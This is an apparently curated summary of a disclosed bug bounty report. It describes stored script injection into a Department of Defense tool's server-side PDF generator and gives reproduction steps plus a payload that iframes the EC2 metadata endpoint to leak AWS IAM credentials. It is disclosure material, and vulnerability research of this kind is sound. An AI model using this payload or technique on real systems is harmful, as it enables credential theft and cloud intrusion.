# SSRF in Functional Administrative Support Tool pdf generator (████) [HtUS]

Stored JS injected into a PDF-generator's name field executed server-side, letting the attacker SSRF the EC2 metadata endpoint and steal AWS IAM credentials.

- Payout: $4,000
- Severity: critical
- Program: U.S. Dept Of Defense
- Found by: codeprivate
- Disclosed: 2022-09-14
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1628209
- Library page: https://bugbountylibrary.com/r/h1%3A1628209
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:critical tech:aws technique:chained vuln:ssrf vuln:xss

**Target:** Functional Administrative Support Tool (FAST) v1.0 PDF generator (/api/save/ and /print/checklist/*.pdf)
**Root cause:** User-controlled JSON field (globalInfo.name) is embedded unsanitized into HTML that the server-side PDF renderer executes, so injected <script> runs in the server's rendering context with network access.
**Steps:**
1. Navigate to the app, BEGIN NEW SESSION, enter MCC code e.g. `h99`, SUBMIT.
2. With Burp on, pick a process, fill data through step 3 (EDIPI = 10-digit number), CONTINUE.
3. At step 3 click PRINT (VIEW PDF) to generate the PDF.
4. In Burp, capture the last `/api/save/` request, send to Repeater.
5. Set `globalInfo.name` to `</script><script>document.write('<iframe src=\"http://<target>/latest/meta-data/iam/security-credentials/EC2CloudWatchRole\" width=1000px height=1000px>')</script>` and Send; server returns status ok.
6. Refresh `.../print/checklist/fast_session_XXXXXX.pdf`; the rendered PDF contains the fetched metadata JSON with AccessKeyId/SecretAccessKey/Token.
**How found:** Noticed the PDF is generated dynamically server-side from saved form data, hypothesized the renderer executes embedded JS, and tested by injecting a script that iframes the metadata endpoint.
**Exploitation:** Attacker stores a JS payload in a saved form field; when the server regenerates the PDF it executes the script in the renderer, which issues an HTTP request to the EC2 IMDS credentials endpoint and writes the response into the PDF, exfiltrating temporary AWS IAM credentials to the attacker.
**Escalation:** Stolen IAM role credentials (EC2CloudWatchRole) could be used to pivot into AWS API access beyond the web app.
**Insight:** When a server-side PDF/HTML renderer consumes stored user fields, treat it as an SSRF/RCE surface: inject a script that iframes the cloud metadata IP and read the result back out of the generated document.

## Proof of concept (copied exactly from the original report)

**JSON payload injecting iframe to AWS metadata**

```
modify value "name" of the json object "globalInfo" by the payload:

`</script><script>document.write('<iframe src=\"http://███/latest/meta-data/iam/security-credentials/EC2CloudWatchRole\" width=1000px height=1000px>')</script>`
```

